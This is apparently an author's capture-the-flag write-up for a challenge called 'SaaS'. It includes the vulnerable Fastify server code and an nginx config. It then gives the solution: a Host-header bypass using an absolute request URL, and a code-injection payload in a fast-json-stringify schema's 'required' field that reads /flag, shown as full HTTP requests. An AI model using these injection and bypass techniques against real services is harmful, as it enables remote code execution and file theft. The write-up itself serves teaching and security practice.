Try   HackMD

SaaS

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Description

Author's murmur warning! u can jump to Overview.

  • The challenge is inspired from fastify document
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
  • The official doesn't support dynamic creation of schema validation by default, and fastify only precompile schema validation once when the server startup.
  • I try to find the real use case or plugin that support dynamic schema/route creation, and the official doesn't like this proposal. see https://github.com/fastify/help/issues/149
  • The package fast-json-stringify is used to create validator. Thus, I try to find any dependents which has any use case that creates validator from untrusted user input, and 404 not found.
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
  • Also, document mentions this security notice
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
  • But it is CTF,impractialty is ok, right? And deadline is approaching That's make it a service to create dynamic schema!
  • An additional part is nginx. Since ginoah estimated about 50~100 solves (easy+++++++), i comed up with it when i was reading document for solving ginoah's 1linenginx.
  • Then ginoah and kaibro solved this part as soon as they read it. Only i learned it in 2023.
  • Thus, the final difficulty is easy++++++.

Overview

  • The challenge is clear, try to find where we can inject code in something like new Function(...) when create custom schema validator.
const validatorFactory = require('@fastify/fast-json-stringify-compiler').SerializerSelector()()
const fastify = require('fastify')({
  logger: true,
})
const {v4: uuid} = require('uuid')
const FLAG = 'the old one'
const customValidators = Object.create(null, {}) // no more p.p.
const defaultSchema = {
  type: 'object',
  properties: {
    pong: {
      type: 'string',
    },
  },
}
fastify.get(
  '/',
  {
    schema: {
      response: {
        200: defaultSchema,
      },
    },
  },
  async () => {
    return {pong: 'hi'}
  }
)
fastify.get('/whowilldothis/:uid', async (req, resp) => {
  const {uid} = req.params
  const validator = customValidators[uid]
  if (validator) {
    return validator({[FLAG]: 'congratulations'})
  } else {
    return {msg: 'not found'}
  }
})

fastify.post('/register', {}, async (req, resp) => {
  // can only access from internal.
  const nid = uuid()
  const schema = Object.assign({}, defaultSchema, req.body)
  customValidators[nid] = validatorFactory({schema})
  return {route: `/whowilldothis/${nid}`}
})
fastify.listen({port: 3000, host: '0.0.0.0'}, function (err, address) {
  if (err) {
    fastify.log.error(err)
    process.exit(1)
  }
  // Server is now listening on ${address}
})
  • and we have to route request to server_name like *.saas but with HTTP header set to Host: easy++++++
server {
    listen 80 default_server;
    return 404;
}
server {
    server_name *.saas;
    if ($http_host != "easy++++++") { return 403 ;}
    location ~ {
      proxy_pass http://backend:3000;
    }
}

Solution

Nginx

  • Nginx part is trivial, from document
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
  • Nginx match server_name with $host, and it can be set by request line. Then below request bypass the check.
    ​​​​GET http://any.saas/ HTTP/1.1
    ​​​​Host: easy++++++
    

fast-json-stringify

  • open vscode, start debugger, trace code.
  • I found requiredProperty
  // handle extraneous required fields
  for (const requiredProperty of required) {
    if (requiredWithDefault.indexOf(requiredProperty) !== -1) continue
    code += `if (obj['${requiredProperty}'] === undefined) throw new Error('"${requiredProperty}" is required!')\n`
  }

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • Then
POST http://a.saas/register HTTP/1.1 
Host: easy++++++
Content-Type: application/json 
Content-Length: 104

{"$id":"aaa","required":["'+global.process.mainModule.constructor._load('fs').readFileSync('/flag')+'"]}


HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Tue, 10 Oct 2023 08:59:27 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 63
Connection: keep-alive

{"route":"/whowilldothis/1c6c400d-94c6-438b-a410-7828f2e05aad"}

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →